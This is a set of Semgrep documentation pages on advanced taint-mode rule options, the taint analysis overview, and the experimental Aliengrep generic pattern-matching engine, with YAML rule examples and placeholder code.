```yaml theme={null}
pattern-sources:
- patterns:
- pattern-inside: |
make_tainted($X)
...
- pattern: $X
```
This definition says that **every** occurrence of `$X` after `make_tainted($X)` must be considered a source. However, this approach has two main limitations:
1. It overrides any sanitization that can be performed on the code matched by `$X`. In the example code below, the call `sink(x)` is reported as tainted despite `x` having been sanitized!
```python theme={null}
make_tainted(x)
x = sanitize(x)
sink(x) # false positive
```
2. The [`...` ellipses operator](/writing-rules/pattern-syntax/#ellipses-and-statement-blocks) has limitations. For example, in the code below, Semgrep does not match any finding if such a source specification is in use:
```python theme={null}
if cond:
make_tainted(x)
sink(x) # false negative
```
### Taint sanitizers by side-effect
Consider the following Python code, where it is guaranteed that, after `check_if_safe(x)`, the value of `x` must be a safe one.
```python theme={null}
x = source()
check_if_safe(x)
sink(x)
```
This kind of sanitizer can be specified by setting `by-side-effect: true`:
```yaml theme={null}
pattern-sanitizers:
- patterns:
- pattern: check_if_safe($X)
- focus-metavariable: $X
by-side-effect: true
```
If you enable `by-side-effect` and the sanitizer specification matches a variable, or more generally, an l-value, exactly, Semgrep assumes that the variable or l-value is sanitized by side effect at the places where the sanitizer specification produces a match.
If the sanitizer doesn't set by side effect, then only the very occurrence of `x` in `check_if_safe(x)` is sanitized and *not* the occurrence of `x` in `sink(x)`. The sanitizer specification matches only the first occurrence, and without `by-side-effect: true`, Semgrep doesn't know that `check_if_safe` updates and sanitizes the variable `x` by side effect. Thus, a taint rule using such a specification does produce a finding for `sink(x)` in the preceding example.
**NOTE**
Ensure that you use `focus-metavariable: $X` to focus the match on the l-value that you want to sanitize. Otherwise, `by-side-effect` does not work as expected.
Before the implementation of `by-side-effect`, the following example was the official workaround to obtain similar behavior:
```yaml theme={null}
pattern-sanitizers:
- patterns:
- pattern-inside: |
check_if_safe($X)
...
- pattern: $X
```
This specification tells Semgrep that **every** occurrence of `$X` after `check_if_safe($X)` must be considered sanitized.
This approach has two main limitations:
1. It overrides any further tainting that can be performed on the code matched by `$X`. In the following example, the call `sink(x)` is **not** reported as tainted despite `x` having been tainted:
```python theme={null}
check_if_safe(x)
x = source()
sink(x) # false negative
```
2. The [`...` ellipses operator](/writing-rules/pattern-syntax/#ellipses-and-statement-blocks) has limitations. For example, in the following code, Semgrep still returns matches despite `x` having been sanitized in both branches:
```python theme={null}
if cond:
check_if_safe(x)
else
check_if_safe(x)
sink(x) # false positive
```
## Taint function arguments
### Taint function arguments as sources
To specify that an argument of a function must be considered a taint source, you can write a pattern that matches the argument:
```yaml theme={null}
pattern-sources:
- patterns:
- pattern-inside: |
def foo($X, ...):
...
- focus-metavariable: $X
```
Note that the use of `focus-metavariable: $X` is essential, and using `pattern: $X` is **not** equivalent. With `focus-metavariable: $X`, Semgrep matches the formal parameter exactly. Click "Open in Playground" below and use "Inspect Rule" to visualize what the source is matching.
The subsequent example defines the same behavior with a taint rule that uses `pattern: $X`. The `pattern: $X` does not match the formal parameter itself, but matches all its uses inside the function definition. Even if `x` is sanitized via `x = sanitize(x)`, the occurrence of `x` inside `sink(x)` is a taint source itself (due to `pattern: $X`) and so `sink(x)` is tainted.
### Taint function arguments as sinks
You can specify that only one, or a subset, of the arguments of a function is the actual sink by using `focus-metavariable`:
```javascript theme={null}
pattern-sinks:
- patterns:
- pattern: sink($SINK, ...)
- focus-metavariable: $SINK
```
This rule causes Semgrep only to annotate the first parameter passed to `sink` as the sink, rather than the function `sink` itself. If taint goes into any other parameter of `sink`, then that is not considered a problem.
Anything that you can match with Semgrep can be made into a sink, such as the index in an array access:
```javascript theme={null}
pattern-sinks:
- patterns:
- pattern-inside: $ARRAY[$SINK]
- focus-metavariable: $SINK
```
**NOTE**
If you specify a sink such as `sink(...)`, then any tainted data passed to `sink`, through any of its arguments, results in a finding.
## Custom propagators
To better understand custom propagators, consider the following Python code where an unsafe `user_input` is stored in a `set` data structure. A random element from `set` is then passed into a `sink` function. This random element can be `user_input` itself, leading to an injection vulnerability.
```python theme={null}
def test(s):
x = user_input
s = set([])
s.add(x)
#ruleid: test
sink(s.pop())
```
The following rule cannot find the above-described issue. The reason is that Semgrep is not aware that executing `s.add(x)` makes `x` one of the elements in the set data structure `s`.
```yaml theme={null}
mode: taint
pattern-sources:
- pattern: user_input
pattern-sinks:
- pattern: sink(...)
```
The use of **taint propagators** enables Semgrep to propagate taint in this scenario and others.
Taint propagators are specified under the `pattern-propagators` key:
```yaml theme={null}
pattern-propagators:
- pattern: $S.add($E)
from: $E
to: $S
```
In the preceding example, Semgrep finds the pattern `$S.add($E)`, and it checks whether the code matched by `$E` is tainted. If it is tainted, Semgrep propagates that same taint to the code matched by `$S`. Thus, adding tainted data to a set marks the set itself as tainted.
Note that `s` becomes tainted *by side effect* after `s.add(x)`. This is due to `by-side-effect: true` being the default for propagators, and because `s` is an l-value.
In general, a taint propagator must specify the following requirements:
1. A pattern containing **two** metavariables. These two metavariables specify where taint is propagated **from** and **to**.
2. The `to` and `from` metavariables. These metavariables must match an **expression**.
* The `from` metavariable specifies the entry point of the taint.
* The `to` metavariable specifies where the tainted data is propagated to, typically an object or data structure. If option `by-side-effect` is enabled (as it is by default) and the `to` metavariable matches an l-value, the propagation is side-effectful.
In the preceding example, pattern `$S.add($E)` includes two metavariables `$S` and `$E`. Given `from: $E`, `to: $S`, `$E` matching `x`, and `$S` matching `s`, when `x` is tainted, then `s` becomes tainted by side-effect with the same taint as `x`.
Another situation where taint propagators are useful is specifying in Java that, when iterating a collection that is tainted, the individual elements must also be considered tainted:
```yaml theme={null}
pattern-propagators:
- pattern: $C.forEach(($X) -> ...)
from: $C
to: $X
```
### Propagate without side-effect
Taint propagators can be used in many different ways, and in some cases, you might not want taint to propagate by side effect. You can avoid this behavior by disabling `by-side-effect`, which is enabled by default.
```yaml theme={null}
pattern-propagators:
- patterns:
- pattern: |
if something($FROM):
...
$TO()
...
from: $FROM
to: $TO
by-side-effect: false
```
The preceding propagator definition specifies that inside an `if` block, where the condition is `something($FROM)`, we want to propagate taint from `$FROM` to any function that is being called without arguments, `$TO()`.
Because the rule turns off `by-side-effect`, the `sink` occurrence that is inside the `if` block is tainted, but this does not affect the `sink` occurrence outside the `if` block.
## Minimize false positives
The following [rule options](/writing-rules/rule-syntax/#options) can be used to minimize false positives:
| Rule option | Default | Description |
| --------------------------------------------- | ------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `taint_assume_safe_booleans` | `false` | Boolean data is never considered tainted (works better with type annotations). |
| `taint_assume_safe_numbers` | `false` | Numbers (integers, floats) are never considered tainted (works better with type annotations). |
| `taint_assume_safe_indexes` | `false` | An index expression `I` tainted does not make an access expression `E[I]` tainted (it is only tainted if `E` is tainted). |
| `taint_assume_safe_functions` | `false` | A function call like `F(E)` is not considered tainted even if `E` is tainted. Note: When using Pro's [interprocedural taint analysis](/writing-rules/data-flow/taint-mode/overview#interprocedural-analysis-), this only applies to functions for which Semgrep cannot find a definition. |
| `taint_only_propagate_through_assignments` π§ͺ | `false` | Disables all implicit taint propagation except for assignments. |
### Restrict taint by type π§ͺ
Semgrep automatically sanitizes Boolean expressions when it can infer that the expression resolves to a Boolean if you enable the `taint_assume_safe_booleans` option.
For example, comparing a tainted string against a constant string isn't considered a tainted expression:
Similarly, by enabling `taint_assume_safe_numbers`, Semgrep automatically sanitizes numeric expressions when it can infer that the expression is numeric.
You could define explicit sanitizers that clean the taint from Boolean or numeric expressions, but these options are more convenient and also more efficient.
**NOTE**
Semgrep Pro's ability to infer types for expressions varies depending on the language. For example, in Python, type annotations are not always present, and the `+` operator can also be used to concatenate strings. Semgrep also ignores the types of functions and classes coming from third-party libraries.
### Assume tainted indexes are safe
By default, Semgrep assumes that accessing an array-like object with a tainted index (that is, `obj[tainted]`) is itself a tainted **expression**, even if the **object** itself is not tainted. Setting `taint_assume_safe_indexes: true` makes Semgrep assume that these expressions are safe.
### Assume function calls are safe
**NOTE**
A function call is referred to as *opaque* when Semgrep doesn't have access to its definition, which is necessary to examine it and determine its taint behavior. For example, with an opaque function, Semgrep cannot determine whether a function call propagates any taint that comes through its inputs.
In Semgrep Community Edition (CE), where taint analysis is intraprocedural, all function calls are opaque. In Semgrep Pro, with [interprocedural taint analysis](/writing-rules/data-flow/taint-mode/overview#interprocedural-analysis-), an opaque function could originate from a third-party library.
By default, Semgrep assumes that an *opaque* function call propagates any taint passed through any of its arguments to its output.
For example, in the following code snippet, `some_safe_function` receives tainted data as input, so Semgrep assumes that it also returns tainted data as output. As a result, a finding is produced.
```javascript theme={null}
var x = some_safe_function(tainted);
sink(x); // undesired finding here
```
This rule can generate false positives, and in some cases, it produces a high level of noise. Setting `taint_assume_safe_functions: true` makes Semgrep assume that opaque function calls are safe and do not propagate any taint. If you'd like specific functions to propagate taint without generating a finding, you can do so using custom propagators:
### Propagate only through assignments π§ͺ
Setting `taint_only_propagate_through_assignments: true` makes Semgrep propagate taint through trivial assignments of the form ` = ` only. It requires the user to be explicit about any other kind of taint propagation that is to be performed.
For example, neither `unsafe_function(tainted)` nor `tainted_string + "foo"` will be considered tainted expressions:
## Metavariables, rule messages, and unification
The patterns specified by `pattern-sources` and `pattern-sinks` (and `pattern-sanitizers`) are all independent of each other. If a metavariable used in `pattern-sources` has the same name as a metavariable used in `pattern-sinks`, these are considered to be different metavariables.
In the message of a taint-mode rule, you can refer to any metavariable bound by `pattern-sinks`, as well as to any metavariable bound by `pattern-sources` that does not conflict with a metavariable bound by `pattern-sinks`.
Semgrep can also treat metavariables with the same name as the *same* metavariable; to turn this behavior on, set `taint_unify_mvars: true` using rule `options`. Unification enforces the behavior where whatever a metavariable binds to in each of these operators is, syntactically speaking, the **same** piece of code. For example, if a metavariable binds to a code variable `x` in the source match, it must bind to the same code variable `x` in the sink match. In general, unless you know what you are doing, avoid metavariable unification between sources and sinks.
The following example demonstrates the use of source and sink metavariable unification:
## Taint mode sensitivity
### Field sensitivity
The taint engine provides basic field sensitivity support. It can:
* Track that `x.a.b` is tainted, but `x` or `x.a` is **not** tainted. If `x.a.b` is tainted, any extension of `x.a.b` (such as `x.a.b.c`) is considered tainted by default.
* Track that `x.a` is tainted, but remember that `x.a.b` has been sanitized. Thus, the engine records that `x.a.b` is **not** tainted, but `x.a` or `x.a.c` are still tainted.
**NOTE**
The taint engine tracks taint **per variable**, *not* **per object in memory**. The taint engine does not track aliasing.
### Index sensitivity π§ͺ
**NOTE**
Index sensitivity is a Semgrep Pro feature.
Semgrep Pro has basic index sensitivity support:
* This feature is only for access using the built-in `a[E]` syntax.
* This feature works for *statically constant* indexes that are integers, such as `a[42]` or strings, such as `a["foo"]`.
* If an arbitrary index `a[i]` is sanitized, then every index becomes clean of taint.
## Report findings on the source π§ͺ
**NOTE**
Reporting findings on the source of taint is a Semgrep Pro feature.
By default, Semgrep reports taint findings at the location of the sink being matched. You must examine the taint trace to identify the source of the taint. However, you can also have Semgrep report the findings at the location of the taint sources by setting the [rule-level option](/writing-rules/rule-syntax/#options) `taint_focus_on` to `source`:
```yaml theme={null}
options:
taint_focus_on: source
```
The [deduplication of findings](/writing-rules/data-flow/taint-mode/overview#deduplication-of-findings) still applies in this case. While Semgrep reports all the taint sources, the taint trace only informs you of one sink if a taint source can reach multiple sinks.
## Restrict taint to at-exit sinks π§ͺ
**NOTE**
At-exit taint sinks is a Semgrep Pro feature.
At-exit sinks are meant to facilitate writing leak-detection rules using taint mode. By setting `at-exit: true`, you can restrict a sink specification to only match at exit statements, or statements after which the control-flow will exit the function being analyzed.
```yaml theme={null}
pattern-sinks:
- pattern-either:
- pattern: return ...
- pattern: $F(...)
at-exit: true
```
The preceding sink pattern matches either `return` statements, which are always exit statements, or function calls occurring as exit statements.
Unlike regular sinks, at-exit sinks trigger a finding if any tainted l-value reaches the location of the sink. For example, the preceding at-exit sink specification triggers a finding at a `return 0` statement if some tainted l-value reaches the `return`, even if `return 0` itself is not tainted. The location itself is the sink, rather than the code that is located there.
You can use behavior, for example, to check that file descriptors are being closed within the same function where they were opened.
The `print(content)` statement is reported because the control flow exits the function at that point, and the file has not been closed.
## Track control sources π§ͺ
**NOTE**
Control taint sources is a Semgrep Pro feature.
Typically, taint analysis tracks the flow of tainted *data*, but taint sources can also track the flow of tainted *control* by setting `control: true`.
```yaml theme={null}
pattern-sources:
- pattern: source(...)
control: true
```
This is useful for checking reachability, that is, to determine if control flow from a given code location can reach another code location, regardless of whether there is any data flow between them. In the following example, SEmgrep checks whether `foo()` could be followed by `bar()`:
By using a control source, you can define a context from which Semgrep detects if a call to some other code, such as a sink, can be reached.
**NOTE**
Use [taint labels](#taint-labels-) to combine both data and control sources in the same rule.
## Taint labels π§ͺ
Taint labels increase the expressiveness of taint analysis by allowing you to specify and track different kinds of tainted data in one rule using labels. This functionality is helpful for more complex use cases, such as when data becomes dangerous in several steps that are hard to specify through a single pair of source and sink.
To include taint labels in a taint mode rule, follow these steps:
Attach a `label` key to the taint source, such as `label: TAINTED` or `label: INPUT`:
```yaml theme={null}
pattern-sources:
- pattern: user_input
label: INPUT
```
Semgrep accepts any valid Python identifier as a label.
Restrict a taint source to a subset of labels using the `requires` key. The following sample extends the previous example with `requires: INPUT`:
```yaml theme={null}
pattern-sources:
- pattern: user_input
label: INPUT
- pattern: evil(...)
requires: INPUT
label: EVIL
```
Combine labels using the `requires` key. To do so, use Python's Boolean operators, such as `requires: LABEL1 and not LABEL2`.
Use the `requires` key to restrict a taint sink in the same way as source:
```yaml theme={null}
pattern-sinks:
- pattern: sink(...)
requires: EVIL
```
The extra taint is only produced if the source itself is tainted and satisfies the `requires` formula.
In the following example, assume that `user_input` is dangerous, but only when it passes through the `evil` function. This can be specified with taint labels as follows:
### Multiple `requires` expressions in taint labels
You can assign an independent `requires` expression to each metavariable matched by a sink. Given `$OBJ.foo($ARG)`, you can require that `$OBJ` has label `XYZ` and `$ARG` has label TAINTED, and `focus-metavariable: $ARG`:
```
pattern-sinks:
- patterns:
- pattern: $OBJ.foo($SINK, $ARG)
- focus-metavariable: $SINK
requires:
- $SINK: BAD
- $OBJ: AAA
- $ARG: BBB
```
# Taint analysis overview
Source: https://docs.semgrep.dev/writing-rules/data-flow/taint-mode/overview
Semgrep supports [taint analysis](https://en.wikipedia.org/wiki/Taint_checking), also known as taint tracking, through taint rules. Taint rules are specified by the inclusion of `mode: taint` in your rule.
Taint analysis is a dataflow analysis that tracks the flow of untrusted, or **tainted**, data throughout the body of a function or method. Tainted data originates from tainted **sources**. If tainted data is not transformed or checked accordingly, or **sanitized**, taint analysis reports a finding whenever tainted data reaches a vulnerable function, called a **sink**. Tainted data flows from sources to sinks through **propagators**, such as assignments and function calls.
## Create a rule
To create a taint tracking rule, include `mode: taint` in the rule's YAML definition file. This enables the following operators:
| Operator | Required? |
| --------------------- | --------- |
| `pattern-sources` | Yes |
| `pattern-propagators` | No |
| `pattern-sanitizers` | No |
| `pattern-sinks` | No |
These operators, which act as `pattern-either` operators, take a list of patterns that specify what is considered a source, a propagator, a sanitizer, or a sink.
> You can use **any** pattern operator and you have the same expressive power as you would with a `mode: search` rule.
### Sample rule and pattern matching
In the preceding example, Semgrep tracks the data returned by `get_user_input()`, which is the source of tainted data. You can think of what's happening as Semgrep running the pattern `get_user_input(...)` on your code, identifying all instances where `get_user_input` is called, and labeling them as tainted.
The rule specifies the sanitizer `sanitize_input(...)`, so any expression that matches that pattern is considered sanitized. In particular, the expression `sanitize_input(data)` is labeled as sanitized. Even if `data` is tainted, as it occurs inside a piece of sanitized code, it does not produce any findings.
Finally, the rule specifies that anything matching either `html_output(...)` or `eval(...)` should be regarded as a sink. There are two calls to `html_output(data)` that are both labeled as sinks. The first one in `route1` is not reported because `data` is sanitized before reaching the sink, whereas the second one in `route2` is reported because the `data` that reaches the sink is still tainted.
Find more examples of taint rules in the [Semgrep Registry](https://semgrep.dev/r?owasp=injection%2Cxss), including [express-sandbox-code-injection](https://semgrep.dev/editor?registry=javascript.express.security.express-sandbox-injection.express-sandbox-code-injection).
**WARNING**
[Metavariables](/writing-rules/pattern-syntax#metavariables) used in `pattern-sources` are considered *different* from those used in `pattern-sinks`, even if they have the same name! See [Metavariables, rule message, and unification](/writing-rules/data-flow/taint-mode/advanced#metavariables-rule-messages-and-unification) for further details.
## Sources
You can specify a taint source using a pattern. Like a search-mode rule, you can start this pattern with one of the following keys:
* `pattern`
* `patterns`
* `pattern-either`
* `pattern-regex`
Example:
```yaml theme={null}
pattern-sources:
- pattern: source(...)
```
**Any** subexpression that's matched by the pattern you define is regarded as a source of tainted data.
Additionally, taint sources accept the following options:
| Option | Type | Default | Description |
| ------------------ | -------------------------- | ------- | -------------------------------------------------------------------------------------------------------------- |
| `exact` | \{`false`, `true`} | `false` | See [Exact sources](#exact-sources). |
| `by-side-effect` | \{`false`, `true`, `only`} | `false` | See [Taint sources by side-effect](/writing-rules/data-flow/taint-mode/advanced#taint-sources-by-side-effect). |
| `control` (Pro) π§ͺ | \{`false`, `true`} | `false` | See [Track control sources](/writing-rules/data-flow/taint-mode/advanced#track-control-sources-). |
### Exact sources
Given the subsequent source specification and a piece of code, such as `source(sink(x))`, the call `sink(x)` is reported as a tainted sink.
```yaml theme={null}
pattern-sources:
- pattern: source(...)
```
The reason is that the pattern `source(...)` matches all of `source(sink(x))`, and that makes Semgrep consider every subexpression in that piece of code as being a source. In particular, `x` is a source, and it is being passed into `sink`.
You can instruct Semgrep to only consider as taint sources the "exact" matches of a source pattern by setting `exact: true`:
```yaml theme={null}
pattern-sources:
- pattern: source(...)
exact: true
```
Once the source is exact, Semgrep no longer considers subexpressions as taint sources, and `sink(x)` inside `source(sink(x))` isn't reported as a tainted sink, unless `x` is tainted in another way.
For many rules, this distinction isn't meaningful because it doesn't always make sense that a sink occurs inside the arguments of a source function.
> If one of your rules relies on non-exact matching of sources, make this fact explicit with `exact: false`, even if it is the current default, so that your rule doesn't break if you change the default.
## Sanitizers
You can specify a taint sanitizer using a pattern. Like a search-mode rule, you can start the pattern with any of the following keys:
* `pattern`
* `patterns`
* `pattern-either`
* `pattern-regex`
Example:
```yaml theme={null}
pattern-sanitizers:
- pattern: sanitize(...)
```
**Any** subexpression that is matched by this pattern is regarded as sanitized.
Additionally, taint sanitizers accept the following options:
| Option | Type | Default | Description |
| ---------------- | -------------------------- | ------- | -------------------------------------------------------------------------------------------------------------------- |
| `exact` | \{`false`, `true`} | `false` | See [Exact sanitizers](#exact-sanitizers). |
| `by-side-effect` | \{`false`, `true`, `only`} | `false` | See [Taint sanitizers by side-effect](/writing-rules/data-flow/taint-mode/advanced#taint-sanitizers-by-side-effect). |
### Exact sanitizers
Given the sanitizer specification that follows and a piece of code, such as `sanitize(sink("taint"))`, Semgrep doesn't report the call `sink("taint")`.
```yaml theme={null}
pattern-sanitizers:
- pattern: sanitize(...)
```
This is because the pattern `sanitize(...)` matches all of `sanitize(sink("taint"))`, and that makes Semgrep consider every subexpression in that piece of code as sanitized. In particular, `"taint"` is considered sanitized.
You can instruct Semgrep only to consider the exact matches of a sanitizer pattern as sanitized by setting `exact: true`:
```yaml theme={null}
pattern-sanitizers:
- pattern: sanitize(...)
exact: true
```
Once the source is exact, Semgrep no longer considers subexpressions as sanitized, and `sink("taint")` inside `sanitize(sink("taint"))` is reported as a tainted sink.
For many rules, this distinction isn't meaningful, because it does not always make sense that a sink occurs inside the arguments of a sanitizer function.
**NOTE**
If any of your rules rely on non-exact matches, make this explicit by setting `exact: false` in your rule definition, even if this is the default setting. This ensures that your rule doesn't break if the default changes.
## Sinks
You can specify a taint sink using a pattern. Like a search-mode rule, you can start this pattern with one of the following keys:
* `pattern`
* `patterns`
* `pattern-either`
* `pattern-regex`
Unlike sources and sanitizers, Semgrep doesn't consider the subexpressions of the matched expressions as sinks by default.
Example:
```yaml theme={null}
pattern-sinks:
- pattern: sink(...)
```
Additionally, taint sinks accept the following options:
| Option | Type | Default | Description |
| ------------------ | ------------------ | ------- | --------------------------------------------------------------------------------------------------------------------- |
| `exact` | \{`false`, `true`} | `true` | See [Non-exact sinks](#non-exact-sinks). |
| `at-exit` (Pro) π§ͺ | \{`false`, `true`} | `false` | See [Restrict taint to at-exit sinks](/writing-rules/data-flow/taint-mode/advanced#restrict-taint-to-at-exit-sinks-). |
### Non-exact sinks
Given the following sink specification and a piece of code, such as `sink("foo" if tainted else "bar")`, Semgrep doesn't report the code as a tainted sink.
```yaml theme={null}
pattern-sources:
- pattern: sink(...)
```
Semgrep treats the argument passed to `sink` as the sink itself. In this case, the argument is `"foo" if tainted else "bar"`, which evaluates to either `"foo"` or `"bar"`. Since neither value is tainted, Semgrep does not flag the call.
You can instruct Semgrep to consider any of the subexpressions matching the sink pattern a taint sink by setting `exact: false`:
```yaml theme={null}
pattern-sinks:
- pattern: sink(...)
exact: false
```
Once the sink is non-exact, Semgrep considers subexpressions as taint sinks, and `tainted` inside `sink("foo" if tainted else "bar")` is now reported as a tainted sink.
## Findings
Taint findings are accompanied by a taint trace that explains how the taint flows from source to sink.
### Deduplication of findings
Semgrep tracks all possible ways that taint can reach a sink, but it only reports one taint trace, not all the possible options. You can use the following example to visualize this behavior:
Click **Open in Playground**.
Run the example. Semgrep returns one match.
Expand the **Matches** section, and click **dataflow**..
Note that, even though `sink` can be tainted via `x` or via `y`, the trace will only show you one of these possibilities. If you replace `x = user_input` with `x = "safe"`, then Semgrep reports the taint trace via `y`.
## Propagators π§ͺ
**NOTE**
Custom taint propagators is a Semgrep Pro feature.
By default, tainted data automatically propagates through assignments, operators, and function calls (from inputs to output). However, there are other ways in which taint can propagate, but this requires language or library-specific knowledge that Semgrep does not have built in.
You can define a taint propagator by specifying a pattern. Like search-mode rules, you can start this pattern with any of the following keys:
* `pattern`
* `patterns`
* `pattern-either`
* `pattern-regex`
A propagator also needs to specify the origin (`from`) and the destination (`to`) of the taint to be propagated.
| Field | Type | Description |
| ------ | ------------ | ------------------------------------------------------------------------------ |
| `from` | metavariable | Source of propagation |
| `to` | metavariable | Destination of propagation |
In addition, taint propagators accept the following options:
| Option | Type | Default | Description |
| ---------------- | ------------------ | ------- | ---------------------------------------------------------------------------------------------------------------- |
| `by-side-effect` | \{`false`, `true`} | `true` | See [Propagate without side-effect](/writing-rules/data-flow/taint-mode/advanced#propagate-without-side-effect). |
For example, given the following propagator, if taint goes into the second argument of `strcpy`, its first argument gets the same taint:
```yaml theme={null}
pattern-propagators:
- pattern: strcpy($DST, $SRC)
from: $SRC
to: $DST
```
**INFO**
Taint propagators only work intraprocedurally, that is, within a function or method. You cannot use taint propagators to propagate taint across different functions/methods. For that, use [interprocedural analysis](#interprocedural-analysis-).
## Interprocedural analysis π§ͺ
**INFO**
Interprocedural taint analysis is a Semgrep Pro feature.
[Semgrep](/semgrep-pro-vs-oss/) can perform interprocedural taint analysis, that is, track taint across multiple functions.
In the following example, `user_input` is passed to `foo` as input, and from there, flows to the sink at line 3 through a call chain involving three functions. Semgrep can track this flow and report the sink as tainted. Semgrep also provides an interprocedural taint trace that explains how exactly `user_input` reaches the `sink(z)` statement. To see this, click **Open in Playground**, then find the **Matches** panel and click **dataflow**.
Using the CLI option `--pro-intrafile` when invoking Semgrep, Semgrep performs interprocedural (across functions), *intra*-file (within one file) analysis. In other words, Semgrep tracks taint across functions, but it will not cross file boundaries. This is supported for essentially every language, and performance is very close to that of intraprocedural taint analysis.
Using the CLI option `--pro`, Semgrep will perform interprocedural (across functions) as well as *inter*-file (across files) analysis. Inter-file analysis is only supported for [a subset of languages](/supported-languages). For a rule to run interfile, it also needs to set `interfile: true`:
```yaml theme={null}
options:
interfile: true
```
### Memory requirements for inter-file analysis
While interfile analysis is more powerful, it also demands more memory resources. The Semgrep team advises a minimum of 4 GB of memory per core, but **recommends 8 GB per core or more**. The specific amount of memory needed depends on the codebase and on the number of interfile rules being run.
# Aliengrep
Source: https://docs.semgrep.dev/writing-rules/experiments/aliengrep
**CAUTION**
This is an experimental matching mode for Semgrep Community Edition (CE). Many of the features described in this document are subject to change. Your feedback is important and helps us, the Semgrep team, to make desirable adjustments. You can file an issue in our [Semgrep CE GitHub repository](https://github.com/semgrep/semgrep/issues) or ask us anything in Semgrep Community Slack group.
Aliengrep is an alternative to the [generic pattern-matching engine](/writing-rules/generic-pattern-matching) for analyzing files written in any language. The pattern syntax resembles the usual Semgrep pattern syntax. This document provides a reference to the syntactic features that Aliengrep supports.
## Minimal example
Specify that a rule uses the Aliengrep engine by setting `options.generic_engine: aliengrep`. See the Semgrep rule example below:
```yaml theme={null}
rules:
- id: example
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
message: "found the word 'hello'"
pattern: "hello"
```
**NOTE**
We are considering a dedicated field `analyzer: aliengrep` instead of `options.generic_engine: aliengrep`.
## Pattern syntax
The following sections provide descriptions and examples of operators that Aliengrep uses in YAML rule files.
### Whitespace
The whitespace between lexical elements is ignored. By default, whitespace includes spaces, tabs, and newlines. The single-line mode restricts whitespace to only spaces and tabs (see [Single-line mode](#single-line-mode) section below).
Lexical elements in target input are:
* words (configurable)
* brace pairs (configurable)
* single non-word characters
### Metavariables
A metavariable captures a single word in the target input. By default, the set of word characters is `[A-Za-z_0-9]`. The pattern `$THING` matches a whole word such as `hello` or `world` if the target input is `hello, world.`.
```yaml theme={null}
rules:
- id: example
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
message: "found a word"
pattern: "$THING"
```
Repeating a metavariable (back-reference) requires a match of the same sequence that was matched by the first occurrence of the metavariable. For example, the pattern `$A ... $A` matches `a x y a`, assigning `a` to the metavariable `A`. It does not match `a x b`.
### Ellipsis (`...`)
In Semgrep rule syntax, an ellipsis is a specific pattern written as three dots `...`. Ellipsis matches a sequence of any lexical elements. Matching ellipses is lazy or shortest-match-first. For example, the pattern `a ... b` matches `a x b` rather than `a x b b` if the target input is `a x b b c`.
Ellipses at the beginning or at the end of a pattern are anchored. For example, ellipses must match the beginning or the end of the target input, respectively. For example, `...` alone matches the whole input and `a ...` matches the whole input starting from the first occurrence of the word `a`.
### Ellipsis metavariable (capturing ellipsis)
An ellipsis metavariable `$...X` matches the same contents as an ordinary ellipsis `...` but additionally captures the contents and assigns them to the metavariable `X`.
Repeating a metavariable ellipsis such as in `$...A, $...A` requires the same contents to be matched by each repetition, including the same whitespace. This is an unfortunate limitation of the implementation. For example, `$...A, $...A` matches `1 2, 1 2` and `1 2, 1 2` but it doesn't match `1 2, 1 2`.
### Single-line mode
Se the single-line mode with `options.generic_multiline: false` in rule files:
```yaml theme={null}
rules:
- id: single-line-example
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
generic_multiline: false
message: "found a password field"
pattern: "password: ..."
```
Now instead of matching everything until the end of the target input file, the pattern `password: ...` stops the match at the end of the line. In single-line mode, a regular ellipsis `...` or its named variant `$...X` cannot span multiple lines.
Another feature of the single-line mode is that newlines in rule patterns must match literally. For example, the following YAML rule contains a two-line pattern:
```yaml theme={null}
rules:
- id: single-line-example2
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
generic_multiline: false
message: "found a password field"
pattern: "a\nb"
```
The pattern `"a\nb"` in the YAML rule file matches the following code:
```
x a
b x
```
The pattern does not match if there is another number of newlines between `a` and `b`. The single-line mode does not match the following target input:
```
x a b x
```
It does however match in the default multiline mode of Aliengrep.
**CAUTION**
YAML syntax makes it easy to introduce significant newline characters in patterns without realizing it. When in doubt and for better clarity, use the quoted string syntax `"a\nb"` as we did in the preceding example. This ensures no trailing newline is added accidentally when using the single-line mode.
### Long ellipsis (`....`)
A long ellipsis (written as four dots, `....`) and its capturing variant `$....X` matches a sequence of any lexical elements even in single-line mode. It's useful for skipping any number of lines in single-line mode.
In multiline mode, a regular ellipsis (three dots `...`) has the same behavior as a long ellipsis (four dots `....`).
**NOTE**
We wonder if the visual difference between `...` and `....` is too subtle. Let us know if you have ideas for a better syntax than four dots `....`.
### Additional word characters captured by metavariables
In the generic modes, a metavariable captures a word. The default pattern followed by a word is `[A-Za-z_0-9]+` (a sequence of one or more alphanumeric characters or underscores). The set of characters that comprise a word can be configured as an option in the Semgrep rule as follows:
```yaml theme={null}
rules:
- id: custom-word-chars
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
generic_extra_word_characters: ["+", "/", "="]
message: "found something"
pattern: "data = $DATA;"
```
The preceding example allows matching Base64-encoded data such as in the following target input:
```
data = bGlnaHQgd29yaw==;
```
There's currently no option to remove word characters from the default
set.
### Custom brackets
The Aliengrep engine performs brace matching as expected in English text. The default brace pairs are parentheses (`()`), square brackets (`[]`), and curly braces (`{}`). In single-line mode, ASCII single quotes and double quotes are also treated like brace pairs by default. The following rule demonstrates the addition of `<>` as an extra pair of braces by specifying `options.generic_extra_braces`:
```yaml theme={null}
rules:
- id: edgy-brackets
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
generic_extra_braces: [["<", ">"]]
message: "found something"
pattern: "x ... x"
```
This pattern matches the `x x` in the following target input:
```
a x x a
```
Without declaring `<>` as braces, the rule would match only `x "]]
message: "found something"
pattern: "x ... x"
```
### Case-insensitive matching
Some languages are case-insensitive according to Unicode rules (UTF-8 encoding). To deal with this, Aliengrep offers an option for case-insensitive matching `options.generic_caseless: true`.
```yaml theme={null}
rules:
- id: caseless
severity: MEDIUM
languages: [generic]
options:
generic_engine: aliengrep
generic_multiline: false
generic_caseless: true
message: "found something"
pattern: "Content-Type: $...CT"
```
This rule matches `Content-Type: text/html` but also `content-type: text/html` or `CONTENT-TyPe: text/HTML` among all the possible variants.
**CAUTION**
Back-referencing a metavariable requires an exact repeat of the text captured by the metavariable, even in caseless mode. For example, `$X $X` matches `ab ab` and `AB AB` but not `ab AB`.
# Deprecated experiments
